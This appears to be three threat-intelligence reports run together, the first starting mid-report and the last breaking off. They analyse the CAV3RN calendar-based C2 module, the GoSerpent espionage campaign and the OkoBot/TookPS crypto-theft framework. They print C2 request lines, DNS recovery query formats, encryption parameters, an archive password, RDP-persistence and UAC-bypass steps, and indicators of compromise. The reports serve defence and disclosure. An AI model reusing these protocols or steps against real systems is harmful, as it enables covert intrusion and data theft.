Attempting this request causes the Azure Identity library to obtain an OAuth application token:

POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials

After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.

Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.

Subject format	Purpose	Module behavior
Event ID: <agent-id>	Operator-to-agent command	Searches for the event, downloads its attachments, and deletes it after consumption
Boss update ID: <agent-id>1500	Agent heartbeat	Deletes the previous heartbeat event and creates a replacement
Boss Report ID: <agent-id>1500	Agent-to-operator command output	Creates an event, uploads encrypted result attachments, and assigns the final subject

Receiving a command

For a get request, the module queries calendarView and filters the results by the Agent ID:

GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')

If Graph returns one or more matches, the module selects the first returned event and requests its attachments:

GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>

After obtaining the attachment response, the module deletes the calendar event:

DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId>
Authorization: Bearer <access-token>

Our analysis found a consistent difference in capitalization between command and result attachments:

Attachment name	Direction	Associated subject
file0.txt	Operator to agent	Event ID: <agent-id>
File0.txt	Agent to operator	Boss Report ID: <agent-id>1500

Inbound command decryption

Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.

The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.

After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.

The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.

Sending command output

For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.

To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.

This process uses the following sequence of Microsoft Graph requests:

POST   /v1.0/users/***@*********.co.il/calendar/events
POST   /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH  /v1.0/users/***@*********.co.il/events/<EventId>

Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.

Heartbeat handling

The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:

GET    /v1.0/users/***@*********.co.il/calendarView 
DELETE /v1.0/users/***@*********.co.il/events/<EventId> 
POST   /v1.0/users/***@*********.co.il/events

Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.

PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>

{
  "subject": "Boss update ID: <agent-id>1500"
}

Heartbeat events use the same one-hour window in 2050 but contain no attachments.

The following figure summarizes the module’s operational workflow.

DNS AAAA configuration recovery mechanism

When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.

The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.

The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.

For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.

The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:

Index	Configuration value
0	TenantId
1	ClientId
2	ClientSecret
3	UserEmail

Determining the field length through .p. queries

For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.

In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.

As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:

d.53466D4C67515A.0.p.cloudlanecdn[.]com

The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.

In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.

To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.

Retrieving configuration data through .q. queries

After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.

The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.

Queries continue at 14-byte offsets until the declared field length has been recovered.

The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.

In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.

The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.

The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.

Failure handling and the sentinel AAAA response

In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.

The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.

Infrastructure

Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.

Domain	IP	First seen	ASN	Hosting
ns1.cloudlanecdn[.]com	216.126.237[.]197 144.172.108[.]205	May 2, 2026	AS 14956	RouterHosting LLC
ns2.cloudlanecdn[.]com	216.126.237[.]197 144.172.108[.]205	May 2, 2026	AS 14956	RouterHosting LLC
ns3.cloudlanecdn[.]com	216.126.237[.]197 144.172.108[.]205	May 2, 2026	AS 14956	RouterHosting LLC
ns4.cloudlanecdn[.]com	144.172.108[.]205	May 21, 2026	AS 14956	RouterHosting LLC

Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.

The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.

The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.

Attribution

In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.

Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.

Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.

OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.

Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.

Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.

Conclusions

The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.

The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CAF021DDA726B8BA049C2AA395E505A1      AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806      NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678      AzureCommunication.dll

Domains and IPs

cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205

Introduction

In February 2026, we discovered a set of malicious activities that had been ongoing since late 2025. These activities involved a RAT module written in Go with proxy capabilities, which served as the main stage of the attack. The attack targeted government and diplomatic entities in Southeast Asia and showed a level of sophistication that caught our attention.

During the attack, the main malware, dubbed GoSerpent, received an encrypted argument and started communicating with a remote server. It was also used to deploy further malicious tools to collect sensitive data and dump credentials on the system.

Monitoring the activities of this threat actor revealed that in May 2026, they came back with an evolved set of malicious tools: a new RAT and proxy tool, Stowaway, which resembled the initial malware, as well as an additional stealthy tool to exfiltrate sensitive data collected in the previous few months through network shares.

We found earlier versions of the GoSerpent backdoor used since 2021 against victims in Southeast Asia with relatively simpler code that received command-line arguments in plain text. Even though the newer variant is stealthier, the attackers continued using the simpler version alongside the latest one in their recent attacks.

What makes this threat particularly concerning is the strategic deployment of various tools with sophisticated data collection and exfiltration capabilities.

In this article, we introduce the malicious tools uncovered by us, which have been used since late 2025.

Technical details

Initial phase of the attacks

The initial phase of the attacks involved deployment of the GoSerpent backdoor, followed by additional malicious tools. During this phase, the main goal was to collect sensitive files and store them for future exfiltration, which was done by a data collecting tool, ThumbcacheService. The attackers also needed system credentials to exfiltrate the collected data through network drives at a later stage. This was achieved through a number of credential dumping tools deployed in this phase via the GoSerpent backdoor.

GoSerpent backdoor

The primary weapon in this campaign is the GoSerpent backdoor, a sophisticated Go-based remote access Trojan that has been active since at least 2021, with the most recent variant deployed in 2026.

This malware receives encrypted and base64-encoded command-line arguments containing a C2 server address and communication password, which are decrypted using AES-CBC mode with a fixed IV (31323334353637383930616263646566) and keys derived from predefined strings.

The backdoor connects to command-and-control servers using ChaCha20 encryption for communications, with the SHA256 hash of the communication password serving as the encryption key.

GoSerpent supports multiple C2 commands by receiving special command values. The commands include the following:

Command	Symbol (as derived from corresponding function names)	Description
2BA1	Sync	Respond to the server to show the infection is active
3BA2	Exit	Exit process
4BA3	Ls	Start listening on a port
5BA4	Connect	Connect to a remote server
6BA5	Hello	Create a shell on the infected machine
7BA6	Ul	Upload a file or directory to the server
8BA7	Dl	Download from the server
9BA8	Ss5	Start a SOCKS5 proxy on the infected machine
ABA9	Cl	Close a listening port
CBAB	RF	Forward to a connected node

GoSerpent can establish SOCKS5 proxy servers to route traffic through compromised hosts, enabling attackers to access other networks while masking their true IP addresses. The backdoor is capable of deploying additional malicious tools, including ThumbcacheService for file collection, Mimikatz for credential dumping, and QuarksDumpLocalHash for local account password hash extraction. The malware exhibits strong persistence mechanisms and uses filenames that mimic legitimate system processes such as lass.exe and updates.exe to evade detection.

McMx RAT

McMx is a basic Go-based proxy and remote access tool that represents a simpler variant of the GoSerpent backdoor, apparently compiled from a different GitHub repository path.

Unlike the latest variant of GoSerpent, which uses encrypted command-line arguments, McMx receives input parameters from text files in plaintext format — in a way that resembles older versions of GoSerpent. The malware features similar function names with apparent typos present in both tools.

Before executing McMx, attackers manipulate batch files to generate configuration files containing C2 parameters. The patterns observed show the use of echo commands to create configuration files with parameters like remote host addresses, ports, and secret keys. The McMx malware is then deployed with this configuration.

The tool shares core functionalities with GoSerpent, including:

• SOCKS5 proxying
• port forwarding
• file transfer
• remote shell capabilities

Data collection and credential dumping tools

Following initial deployment of the GoSerpent backdoor, attackers typically wait several days before utilizing it to download and execute additional malware components for data collection and credential dumping.

ThumbcacheService

ThumbcacheService is a malicious DLL deployed as a Windows service that functions as a sophisticated file collection mechanism within the GoSerpent ecosystem. The malware employs XOR encryption with a single-byte key of 0x13 for string obfuscation. It decrypts embedded strings and creates a database file named thumbcache_605a.db in the C:\Users\Public\ directory to store collected sensitive files. It specifically targets documents with the following extensions: .doc, .docx, .pdf, .xls and .xlsx.

The targeted files are then archived using 7-Zip and protected with a predefined password @vx0a9n5W2M0c3D6.#, enforcing a 20MB size limit for archives.
The malicious service also monitors the $Recycle.Bin directory for deleted files with the extensions of interest, ensuring comprehensive data collection.

Credential dumping tools

The threat actor deploys the following tools via GoSerpent backdoor to dump credentials:

1. Mimikatz — dumps memory from the LSASS process to extract credential material, including cached credentials and Kerberos tickets.
2. QuarksDumpLocalHash — extracts local account password hashes from the SAM registry hive, allowing for offline password cracking attacks.

These tools work together to maximize information extraction from compromised systems. The stolen credentials were used in later stages of the attack to facilitate the exfiltration of sensitive files collected by ThumbcacheService.

Second stage of the attacks

After the initial phase of the malware deployments, the attackers allowed a few weeks for the ThumbcacheService to silently collect sensitive files without exfiltrating them. In the meantime, the credential dumping tools also continued to steal credentials. In May 2026, the threat actor came back with a set of new tools. The main malware of this round of activity was another Go-based RAT and proxy tool, Stowaway. It was used to deploy the two-stage data exfiltration tool TmcLoader/TmcPayload, which was the last piece of the data theft puzzle.

Stowaway

Stowaway is a proxy and remote access tool compiled from an open-source framework with customized functions to make the infection stealthier. This malware features both network admin and agent capabilities, enabling attackers to establish chained proxy paths across multiple hosts with the following functionalities:

• SOCKS5 proxying
• port forwarding
• reverse tunneling
• remote shell access
• file transfer
• SSH-based tunneling

Communications are transported over TCP, HTTP, or WebSocket channels protected by AES-256-GCM or TLS encryption.
As the next step, the attackers deliver two files to the victim machine via Stowaway:

• TmcLoader with an embedded payload
• {BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db — an encrypted configuration file

TmcLoader/TmcPayload

TmcLoader is a stealthy C++ loader module registered as a Windows service. The malware embeds an encrypted payload dubbed TmcPayload within its .data section, which is decrypted and loaded into the memory space of the svchost process to maintain persistence and avoid detection.

TmcLoader employs dynamic API resolution through a circular XOR encryption, where each byte is XORed with the value of the subsequent byte, combined with Base64 encoding for string obfuscation to hide API names.

The loader creates a unique event to prevent multiple infections on the same system. After that, it extracts and decrypts the embedded TmcPayload. This payload component is responsible for exfiltrating sensitive data from the victim’s machine.

TmcPayload generates a file path from an obfuscated string: C:\Users\Public\Libraries\{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db.

It then checks for the existence of this configuration file. If the file doesn’t exist, it delays execution for a random period of time before rechecking. The configuration file contains encrypted network share credentials and destination paths for data exfiltration. It specifically references the thumbcache_605a.db file created by ThumbcacheService as the file to be exfiltrated, demonstrating the integrated nature of the attack chain.

Toolset integration

What distinguishes this threat actor’s approach is the deliberate integration between different components of their toolset. The chain from ThumbcacheService to TmcLoader/TmcPayload demonstrates sophisticated operational planning:

1. ThumbcacheService: deployed via GoSerpent, collects and archives sensitive files into the thumbcache_605a.db database file.
2. Credential dumping tools: deployed via GoSerpent to retrieve system credentials.
3. Configuration file: delivered via Stowaway, contains credentials and file paths for data exfiltration.
4. TmcLoader/TmcPayload: deployed via Stowaway, reads the configuration file for data exfiltration.
5. Data transfer: using network credentials and destination paths from the configuration file, TmcPayload transfers the exact same thumbcache_605a.db.

This integration shows that the threat actor has carefully orchestrated their tools to work together seamlessly, ensuring that data collected by one component is available for exfiltration by another component.

Infrastructure

The malware operators leverage legitimate hosting providers, including Alibaba Cloud and UCLOUD HK, for their command-and-control infrastructure. The use of legitimate hosting platforms demonstrates operational security awareness, making detection more challenging.
The technical similarities between GoSerpent and the newer Stowaway tools strongly suggest the threat actor’s deep familiarity with network proxy technologies. The consistent use of legitimate domain names as secret keys, with GoSerpent employing www.microsoft.com and www.spacex.com and Stowaway utilizing github.code, indicates a standardized operational methodology.

Attribution

While the exact attribution of the GoSerpent campaign remains uncertain, there are indications of a potential link to the TetrisPhantom threat actor. The similarities in victim targeting, technical capabilities, and operational methodologies suggest a possible connection. However, further investigation is necessary to confirm this association.

Conclusion

The GoSerpent campaign represents a sophisticated and evolving threat to government and diplomatic entities in Southeast Asia. The threat actor’s use of customized tools, such as the GoSerpent backdoor, Stowaway, and TmcLoader, demonstrates a high degree of technical expertise and operational planning. The integration of these tools to collect and exfiltrate sensitive data highlights the actor’s focus on long-term access and intelligence gathering. As the threat landscape continues to shift, it is essential for organizations to remain vigilant and implement robust security measures to detect and prevent such attacks. By understanding the tactics, techniques, and procedures (TTPs) employed by this threat actor, defenders can better prepare themselves to counter similar threats in the future.

Indicators of compromise

File hashes

GoSerpent
EBFFD5A76AAA690BCDB922F82E0BACC5
DC506FF7BB72735444FB3703A6BEE6D8

McMx
D6E86BF8A90E9B632ADD5FA495F97FBC

ThumbcacheService
CB6C4C70A3B171FA3404B8E1A3382116
64E9D1950E42BC98486DFD9919463D1C

Stowaway
CBBB6D483737EA3566726E51752DFF40
7F223EE0716CE2AD56F55D3744419449
19F8BEFCB035F52BF70094E6B4F5779A
846EF7C1C7323849B2A778C5E4CDA162

TmcLoader
D08A059E8B815E3B891505BC8777FC28
93A1569D5D5AB2C4761FEDF84F83709E

C2 IP addresses

152.32.160[.]239
8.220.194[.]108
8.220.214[.]132
8.220.209[.]155
8.220.193[.]189
101.36.104[.]87
144.48.6[.]46
103.138.13[.]30
47.80.22[.]58
152.32.222[.]113
43.106.30[.]226

Introduction

In January 2026, we identified multiple attacks involving unknown malware that captures the contents of cryptocurrency wallet windows. During the investigation, we reconstructed the complete infection chain, which consisted of four tightly linked stages initiated by the execution of the previously described malicious PowerShell script TookPS. However, this campaign differs from previous activity in that it uses a new framework to deliver all malicious modules and orchestrate them via an SSH tunnel. In total, the framework includes more than 20 malicious payloads and implants, covering a wide variety of functions. At the time of writing, the threat remains active.

Kaspersky’s products detect this threat as Trojan-Downloader.Win32.TookPS.*, Trojan.Win64.BypassUAC.*, Trojan-Banker.Script.Agent.gen, Trojan.Win32.Dllhijack.*, Backdoor.Win32.TeviRat.*, Trojan-PSW.Win64.Stealer.*, Trojan-Spy.Win64.Keylogger.*, Trojan-Spy.Win64.Agent.*, Trojan.Win64.Agent.*.

Background

TookPS is a downloader used for retrieving malicious commands and scripts from attacker-controlled servers to further propagate attacks. The first campaign using TookPS was discovered in March 2025. At that time, malicious scripts delivered a Python‑based infostealer along with a script that installed and configured an SSH tunnel on the victim’s machine. The next wave appeared in April 2025: the payload was changed, and TookPS was used to deliver the TeviRAT malware with the same SSH installer.

Then at the end of April 2025, TookPS underwent minor changes, yet its attack chain was completely redesigned. Unlike previous incidents, in this case, TookPS was used solely for the initial infection, with an automated SSH bot responsible for payload delivery. This new malicious campaign has multiple stages that cover the full attack lifecycle, from initial infection to persistence and data exfiltration. Among various malware strains, at one of the stages, the TeviRAT backdoor is delivered to the compromised host, ultimately fetching another version of a TookPS script.

We dubbed this updated TookPS campaign “OkoBot”.

We will break down this chain in greater detail later in the article. However, this is not the only version of OkoBot we were able to find. Already in March 2026, we discovered a new phase in the development of the framework, with Volume2 now being installed directly using TookPS. The HDUtil launcher → extl injector → Rilide chain was found to be abandoned in this newer version since it was replaced in full by the identical ext_daemon Volume2 plugin. TeviRAT was also removed, most likely because its functions were covered by the new plugins dispatcher.

Initial infection

The initial infection is primarily delivered through two vectors: a ClickFix attack, and malware distributed through GitHub that masquerades as legitimate software. One such example is the fake SQL Server Management Studio (SSMS) package distributed through GitHub. In fact, it is actually the legitimate Audacity — a popular audio editor — compiled with a malicious implant embedded in one of its libraries. Because the repository was indexed by most search engines and appeared at the top of the results for the query SSMS, the malware looked legitimate and quickly earned users’ trust.

This repository was created at the end of March 2025 and existed until June of that year. It consisted of a single file, README.md, which provided a fake SSMS installation guide written in an official style and likely derived from excerpts of Microsoft’s documentation. However, the download link for the program, located at the beginning of the guide, pointed to the latest release in the same repository.

Both infection vectors trigger the execution of the malicious script TookPS, which installs SSH on the victim’s system, establishes a connection to the attacker-controlled SSH server and subsequently forwards the SSH daemon port. Following a delay, an automated SSH bot connects to the forwarded port.

Back connection

The automated SSH bot collects system information such as usernames, antivirus software installed, the IP address, and OS version. It harvests cryptocurrency wallet files, browser cookies, profiles, and other credentials through an SSH tunnel. For subsequent delivery of malicious modules, it disables Windows Defender notifications via a registry modification. Moreover, it gains access to the graphical session on the victim’s system using the following sequence:

1. Open firewall ports for inbound RDP traffic
2. Create a user in the “Remote Desktop Users” group
3. Replace the legitimate termsrv.dll with a patched one to permit multiple concurrent RDP sessions
4. Create a scheduled task named Apple Sync to maintain a reverse SSH tunnel that forwards the local RDP port every hour

After that, the SSH bot begins retrieving malicious modules over SFTP.

Launcher with advanced options

One of the deployed modules is HDUtil, an auxiliary utility protected with VMProtect and heavily obfuscated. This launcher is used by the SSH bot during an attack to deploy various malicious modules via the target command. Additionally, it implements three auxiliary commands that were not observed during the attacks we analyzed. Nevertheless, their presence and potential capabilities further demonstrate the high degree of integration among all components of the framework.

Active sessions

At startup, the launcher verifies its execution environment by checking the HWID in the contents of %PROGRAMDATA%\hwid.dat, a technique consistently employed throughout the framework. If the file is missing or contains invalid data, such as a non‑MD5 hash, the launcher terminates without performing any further actions. Otherwise, the specified commands are executed. For example, enumsessions provides a list of sessions along with detailed information, including the session type (Console, Services, RDP, and others), username, connection host, and domain. In turn, enumadapters returns the names of all graphics adapters present on the system.

UAC bypass

The most important command of the launcher is target, which enables payload execution on the system. An optional nouac argument enables automatic UAC bypassing via Windows RPC and an auto-elevated msconfig.exe program, allowing the payload to run with elevated privileges stealthily. This technique has been known for a long time, discovered and described in 2019 by the Project Zero team, who provided a full report with a detailed technical description.

Below is the list of all HDUtil commands.

Command	Description
target [nouac [user=<user>]] [noattach] <file>	Starts file and prints its output. If optional argument noattach passed, command to be executed in background. If optional argument nouac passed, automatic UAC bypass to be performed. If optional argument user passed, new process to be executed under , otherwise default local administrator to be chosen.
pcopy <file> <dir_src> <dir_dst>	Copies file <file> located in <dir_src> to <dir_dst>. Not used by SSH bot.
enumadapters	Prints names of graphical adapters on current system. Not used by SSH bot.
enumsessions	Prints all sessions on current system. Not used by SSH bot.

Browser extensions loader

The first malicious module delivered to the infected system via SFTP is executed using the previously described launcher with the command .\HDUtil.exe target extl.exe. It is a heavily obfuscated DLL injector protected with VMProtect. At startup, the module enters an infinite loop and uses the EnumWindows and IsWindowVisible API methods to enumerate the PIDs of active windows and retrieve the corresponding executable filenames. For processes associated with widely used Chromium‑based browsers, the module invokes a routine that injects a specialized implant.

The injector opens a process, allocates a memory region, and writes the payload directly into this region as unencrypted raw bytes. Then it resolves two exported implant functions, LdrInitMain and LdrCallMain, based on a pre-specified hash derived from a modified version of DJB2 hash function. The first function performs the final PE unpacking, including rebase operations and the initialization of the import and exception tables. The second function directly initiates malware execution.

This loader installs malicious browser extensions and hides them from the user. It uses an internal engine that resolves the addresses of stripped functions by analyzing the byte patterns of their calls using YARA-style syntax. This approach enables the malicious code to access critical Chromium engine functions required for extension installation and management. This functionality is also implemented for other browsers with appropriate modifications. For example, in the case of Microsoft Edge, the corresponding DLL msedge.dll is hooked using the specific patterns.

Using the obtained address of the BrowserProcess object, the loader traverses the inheritance hierarchy and subsequently resolves a pointer to the function responsible for registering observers of browser‑window creation, specifically ProfileManager::BrowserListObserver::OnBrowserAdded. With a specialized built‑in engine, they are hooked using the attacker’s own implementations while preserving the original function’s address.

When a new Chromium window is opened, a hooked function is invoked that silently installs extensions. This routine scans the user’s %APPDATA% directory, loads all .crx files (Chromium-based browsers extension format), and records them in the ext_table. The extensions are then installed in the browser.

During installation, the extension is unpacked into a non‑default extensions directory, Local Extension Settings, and its manifest is dynamically modified. An object named custom_args is added, containing the fields hwid (the identifier of the infected system) and browser (the name of the browser in which the extension is installed). Then, using previously resolved internal functions of chrome.dll, the extension is installed and all requested permissions are granted.

All extensions loaded in this manner are added to a special array to be subsequently identified among regular extensions and to remain hidden from the user.

The remaining patched functions are used to hide the installed malicious extensions from the user. When invoked with registered extensions as parameters, they perform no operation and return a constant value. This enables the threat actor to suppress notifications related to the malicious nature of the extensions and to exclude them from the displayed list of installed extensions. As a result, the behavior of other extensions remains unaffected.

During the attack, the Rilide extension was installed on the victim’s system using the previously described loader. Rilide is a stealer targeting Chromium-based browsers that has been frequently used by Russian-speaking threat actors since April 2023. The malware is designed to steal sensitive user data, including login credentials, cookies, and financial information, with a specific emphasis on cryptocurrency theft.

Plugins dispatcher

The final module delivered via SFTP is an open-source utility called Volume2, which is executed with elevated privileges using the command .\HDUtil.exe target nouac noattach Volume2.exe. The executable was linked with the malicious protobuf.dll library. Although the library seems identical to the legitimate DLL, it has been modified to include a malicious exported function, ProtobufGetVer2. This function decrypts and initiates a malicious implant. The payload is encrypted using AES GCM, initialized with a static 256‑bit key and a 96‑bit nonce. The GCM authentication tag is omitted, resulting in the absence of integrity verification. Starting in March 2026, the name of protobuf.dll was changed to version.dll, although its contents remained a modified ProtoBuf library.

The loaded implant functions as a malicious plugin dispatcher. Upon initialization, it reads and verifies the HWID before establishing communication with the C2 server via the HTTP protocol. Each request follows a predefined binary format: a 2-byte numeric bot identifier encoded in little-endian format, followed by an AES CBC-encrypted JSON object. By default, the BotID is set to 0, and the key and IV consist of 32 and 16 bytes of 0xff, respectively. The implant polls the server every 20 seconds to retrieve new commands. The request contains client data encoded in Base64, and the server may respond with a command containing three mandatory fields: TaskIndex (the command number from the dispatcher), TaskID (a unique task identifier), and HWID (the client identifier). The dispatcher supports four built-in commands:

Task index	Action
1	Reconfigure client: update session keys, assign ID, switch to another C2
2	Load DLL implant into memory and run its entry point
3	Load plugin into process and register tasks with RegisterPlugin function
4	Restart dispatcher as new process
x	If the task number is none of the above, search for it among the registered plugins

Each plugin is required to export two functions: RegisterPlugin and PluginDispatch. These functions are used to manage and configure plugins. The RegisterPlugin function registers the plugin’s tasks with the dispatcher, whereas the PluginDispatch function is invoked when the plugin is called. Both these functions, as well as other external API functions, are located within the base libraries using one algorithm. This algorithm iterates through the export table and uses a specialized callback that calculates the MurmurHash3 hash and compares it against the target value to identify the appropriate function.

During the analysis, we were able to discover five plugins that implement functions under their unique task identifiers.

• CMD wrapper (10xx): allows running scripts and individual commands in cmd.
• PowerShell wrapper (11xx): allows running scripts and individual commands in PowerShell.
• Environment enumerator (12xx): gathers system information, active sessions, and processes.
• Dropper (14xx): downloads an additional payload directly onto the system both from embedded Base64-encoded binary blob and via URL.
• Process injector (16xx): launches additional malicious implants on the target system by injecting them into legitimate processes.

We identified four malicious implants that are delivered to the system via the process injector plugin.

ext daemon

